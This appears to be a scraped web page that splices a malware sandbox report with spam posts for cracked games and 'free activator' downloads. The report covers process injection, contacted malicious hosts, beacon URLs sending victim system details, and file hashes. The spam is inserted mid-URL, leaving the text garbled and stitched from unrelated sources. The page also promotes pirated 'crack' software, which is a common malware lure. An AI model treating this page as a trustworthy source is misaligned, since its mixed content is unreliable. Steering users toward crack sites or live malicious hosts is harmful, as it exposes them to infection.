  "svhost.exe" allocated memory in "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{e47f4f44-d863-11e7-9d8f-806e6f6e6963}"
  source
  API Call
  relevance
  7/10
  ATT&CK ID
  T1055 (Show technique in the MITRE ATT&CK™ matrix)
- Writes data to a remote process
  details
  "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 128)
  "svhost.exe" wrote 32 bytes to a remote process "%ALLUSERSPROFILE%\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 52 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 4 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "svhost.exe" wrote 8 bytes to a remote process "C:\ProgramData\471495385779.exe" (Handle: 836)
  "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 128)
  source
  API Call
  relevance
  6/10
  ATT&CK ID
  T1055 (Show technique in the MITRE ATT&CK™ matrix)
Network Related
- Malicious artifacts seen in the context of a contacted host
  details
  Found malicious artifacts related to "111.90.150.191": ...
  
  URL: http://111.90.150.191/mozglue.dll (AV positives: 4/72 scanned on 01/04/2020 23:44:07)
  URL: http://111.90.150.191/freebl3.dll (AV positives: 3/72 scanned on 01/04/2020 16:59:42)
  URL: http://111.90.150.191/msvcp140.dll (AV positives: 3/72 scanned on 01/03/2020 15:52:47)
  URL: http://ppyh.pw/ (AV positives: 6/72 scanned on 01/02/2020 20:13:29)
  URL: http://dsadjh.pw/ (AV positives: 6/72 scanned on 01/02/2020 16:11:36)
  File SHA256: 0a5de60f8d242caa0bd01cb811358ce2fc9f2f8530013ab650d8ac1950cff5e1 (Date: 01/03/2020 15:30:12)
  File SHA256: ad8736ab760ddd9ed96c2a652dae3eb9d8ac6528936ed6d63d858b56ad340ef1 (AV positives: 40/72 scanned on 10/06/2019 13:28:22)
  File SHA256: c83b49d714d48006a708ab7d0450e1785784e21615e62782801f5e48bcb6b95d (AV positives: 47/73 scanned on 10/01/2019 19:42:20)
  File SHA256: 239d8ee530460eba8104af1eefb5c98c9b080b037e443bebaddf5812cd7ef96f (AV positives: 26/69 scanned on 09/28/2019 06:39:14)
  File SHA256: bdcf4dbf6d7918a3c47b77f30c1d641d9a5403d8fd4ad7b38395b56d7431cfd0 (AV positives: 51/72 scanned on 09/16/2019 06:18:27)
  File SHA256: f13ac436bff106a8239c201ae5121edd63fc0101ba0d5e9691f6fedad35f75ac (AV positives: 49/72 scanned on 09/03/2019 23:37:33)
  Found malicious artifacts related to "111.90.149.201": ...
  
  URL: http://111.90.149.201/index.php?ip=207.102.138.11&user=abc&os=Microsoft%20Windows%207%20Professional%20%20
  FBX Game Recorder 3.18.0.2279 Crack + Serial Key Free Download 2022 FBX Game Recorder 3.18.0.2279 Crack the Intel equipment speeding up. It builts it to deal with all significant game titles and give remarkable execution, even on more seasoned low spec PCs. Whatever your set-up, you’re prepared to begin. BB FlashBack Express introduced two symbols … Read more
  Categories Crack Software, GamingTags background game recorder, fbx cracked version, fbx game recorder 3 14 crack, fbx game recorder crack 2022, fbx game recorder crack 2022 cracked, fbx game recorder crack 2022 download, fbx game recorder crack 2022 for pc, fbx game recorder crack 2022 free, fbx game recorder crack 2022 free download, fbx game recorder download, fbx game recorder getintopc, fbx game recorder login, fbx game recorder no watermark, fbx game recorder old version, fbx game recorder support, fbx pro, flashback recorder fbx, game screen recorder for pc 32 bit, how to use fbx game recorder, is fbx game recorder safe, nexxzy game recorder
  %2032-bit&av=none&cpu=Intel(R)%20Xeon(R)%20Gold%205115%20CPU%20@%202.40GHz&gpu=Standard%20VGA%20Graphics%20Adapter&screen=1024x768 (AV positives: 6/72 scanned on 01/05/2020 16:33:08)
  URL: http://111.90.149.201/index.php?ip=185.76.9.72&user=admin&os=Microsoft%20Windows%207%20Professional%20%20
  DiRT 5 Latest Free Game Download 2022 DiRT 5 Free Game Download The acclaimed rough terrain hustling establishment returns right now section.conveys mud, sweat, and riggings the world over: from the exceptional climate beat assembly phases of Europe, Africa, and the US, to executing execution driving grandstands and profession challenges where vehicle control is pushed … Read more
  Categories Crack Software, GamingTags dirt 3 crack download, dirt 3 crack no dvd, dirt 3 launcher exe download, dirt 3 license key.txt download, dirt 3 nocd, dirt 3 not launching, dirt 3 pc, dirt 3 product key, dirt 3 product key crack, dirt 5 activation key, dirt 5 download, dirt 5 free, dirt 5 game, dirt 5 game download, dirt 5 game engine, dirt 5 game informer review, dirt 5 game installation, dirt 5 game modes, dirt 5 game pass, dirt 5 game pass won't launch, dirt 5 game review, dirt 5 gameplay, dirt 5 gameplay ps4, dirt 5 gameplay ps5, dirt 5 gamespot, dirt 5 gamestop, dirt 5 license key txt download, dirt 5 pc, dirt 5 price, dirt 5 release date, dirt 5 review, dirt rally key activation free download, gtr 3 license key txt, ps5 dirt 5 game
  0 Comments
  Leave a Comment Cancel Reply
  
  Save my name, email, and website in this browser for the next time I comment.
  1 2

Related Videos

Incident Response

Risk Assessment

MITRE ATT&CK™ Techniques Detection

Indicators

Nexxzy game recorder Free Activators - logically

Incident Response

Risk Assessment

MITRE ATT&CK™ Techniques Detection

Indicators

That necessary: Nexxzy game recorder Free Activators

Nexxzy game recorder Free Activators - will

Incident Response

Risk Assessment

MITRE ATT&CK™ Techniques Detection

Indicators

0 Comments

Leave a Comment Cancel Reply